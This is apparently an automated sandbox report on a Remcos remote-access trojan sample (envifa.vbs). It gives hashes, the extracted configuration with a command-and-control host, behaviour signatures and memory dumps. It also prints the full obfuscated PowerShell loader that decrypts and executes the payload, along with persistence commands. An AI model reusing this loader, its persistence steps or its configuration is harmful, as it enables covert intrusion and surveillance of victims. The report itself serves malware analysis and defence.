remcos | 043ca2ac861326e01d02af9599b54c8a23b781dda3e9f3c31166885a1f67e401

Analysis

max time kernel
299s
max time network
297s
platform
windows11-21h2_x64
resource
win11-20231128-en
resource tags

arch:x64arch:x86image:win11-20231128-enlocale:en-usos:windows11-21h2-x64system
submitted
05-12-2023 18:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

envifa.vbs
Size

159KB
MD5

5b0011526c3005e35e88002cfcf3dff8
SHA1

5b0b70c2857e84d0abe2b04b0593ccfc49395a8f
SHA256

043ca2ac861326e01d02af9599b54c8a23b781dda3e9f3c31166885a1f67e401
SHA512

4af5c688c4c971950724cd706d09d968973fc65f9b69bf5a969900771577b56799e33d3ca2dd0972ff78d06f4751d609711b19ee793c159189981ed07946d989
SSDEEP

3072:jk+jUIUfUPUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUVUPUdUgUgUgUgUgUgUgUo:XjUIUfUPUgUgUgUgUgUgUgUgUgUgUgUL

Score

10^/10

remcos remotehost rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

remccoss2023.duckdns.org:4576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-E5ZBB0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 3544 powershell.exe
4 3544 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\google.lnk powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3544 set thread context of 1916 3544 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

3544 powershell.exe
3544 powershell.exe
1064 powershell.exe
1064 powershell.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

RegAsm.exe

pid process

1916 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3544 powershell.exe
Token: SeDebugPrivilege 1064 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegAsm.exe

pid process

1916 RegAsm.exe

flow	pid	process
2	3544	powershell.exe
4	3544	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\google.lnk	powershell.exe

description	pid	process	target process
PID 3544 set thread context of 1916	3544	powershell.exe	RegAsm.exe

pid	process
3544	powershell.exe
3544	powershell.exe
1064	powershell.exe
1064	powershell.exe

pid	process
1916	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	3544	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe

pid	process
1916	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 4780 wrote to memory of 3544	4780	WScript.exe	powershell.exe
PID 4780 wrote to memory of 3544	4780	WScript.exe	powershell.exe
PID 3544 wrote to memory of 1064	3544	powershell.exe	powershell.exe
PID 3544 wrote to memory of 1064	3544	powershell.exe	powershell.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe
PID 3544 wrote to memory of 1916	3544	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '58417081275505453806';$MqDDxKjJmA = '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';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU
2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3544

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\google.vbs
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1064

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:1916

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\registros.dat
Filesize
230B

MD5
da07760c88eb4c4e2b3fca9b87fc5972

SHA1
27cba49a2c23c3a00f6226043661e09ee3e23f63

SHA256
c1cc350e3f0c1de9cd84dc402a2a8f3acdf6a0e7a5a7a9700339d8633312f74d

SHA512
8a76c611ae15b9c7c7faf061966c7c80a4ced75b77d652c8b09af44dc27b23bbfd9544992a9a34c64753c3ad420251e58d3b1743c8f8e64b22027f654e059842

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
88dc70c361a22feac57b031dd9c1f02f

SHA1
a9b4732260c2a323750022a73480f229ce25d46d

SHA256
43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59

SHA512
19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
2KB

MD5
5746a9547ca0d2ff66b8de81e48ddc64

SHA1
6e9cdbbdb0c65caf97fbcd8787d67749b55a6b5f

SHA256
eedb2133a9344f6d8fdc81f8fd710954c165e8d88d9516be400f8a94132a8982

SHA512
f707a525cbb18c297badc0f1187f71aea9b650c7cfdc3ee727093adfa2cab1a83550b842d666e840b6099ccaa4acb5694567317cd62f10359298f720785f0a31

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ck4s2lbx.thz.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1064-18-0x00007FFC76830000-0x00007FFC772F2000-memory.dmp

Filesize
10.8MB

Download
memory/1064-34-0x00007FFC76830000-0x00007FFC772F2000-memory.dmp

Filesize
10.8MB

Download
memory/1064-29-0x0000014D6A1D0000-0x0000014D6A1E0000-memory.dmp

Filesize
64KB

Download
memory/1064-19-0x0000014D6A1D0000-0x0000014D6A1E0000-memory.dmp

Filesize
64KB

Download
memory/1064-20-0x0000014D6A1D0000-0x0000014D6A1E0000-memory.dmp

Filesize
64KB

Download
memory/1916-65-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-89-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-109-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-108-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-107-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-106-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-105-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-48-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-52-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-53-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-54-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-55-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-58-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-60-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-101-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-73-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-78-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-80-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-81-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-85-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-86-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-100-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-88-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-99-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-91-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-92-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-93-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-94-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-96-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-97-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1916-98-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3544-17-0x0000019FB0D70000-0x0000019FB0D8E000-memory.dmp

Filesize
120KB

Download
memory/3544-8-0x0000019FB0280000-0x0000019FB02A2000-memory.dmp

Filesize
136KB

Download
memory/3544-13-0x0000019FB0FB0000-0x0000019FB1756000-memory.dmp

Filesize
7.6MB

Download
memory/3544-12-0x0000019FB0270000-0x0000019FB0280000-memory.dmp

Filesize
64KB

Download
memory/3544-9-0x00007FFC76830000-0x00007FFC772F2000-memory.dmp

Filesize
10.8MB

Download
memory/3544-40-0x00007FFC76830000-0x00007FFC772F2000-memory.dmp

Filesize
10.8MB

Download
memory/3544-10-0x0000019FB0270000-0x0000019FB0280000-memory.dmp

Filesize
64KB

Download
memory/3544-11-0x0000019FB0270000-0x0000019FB0280000-memory.dmp

Filesize
64KB

Download
memory/3544-15-0x0000019FB0310000-0x0000019FB031C000-memory.dmp

Filesize
48KB

Download
memory/3544-16-0x0000019FB0C30000-0x0000019FB0CA6000-memory.dmp

Filesize
472KB

Download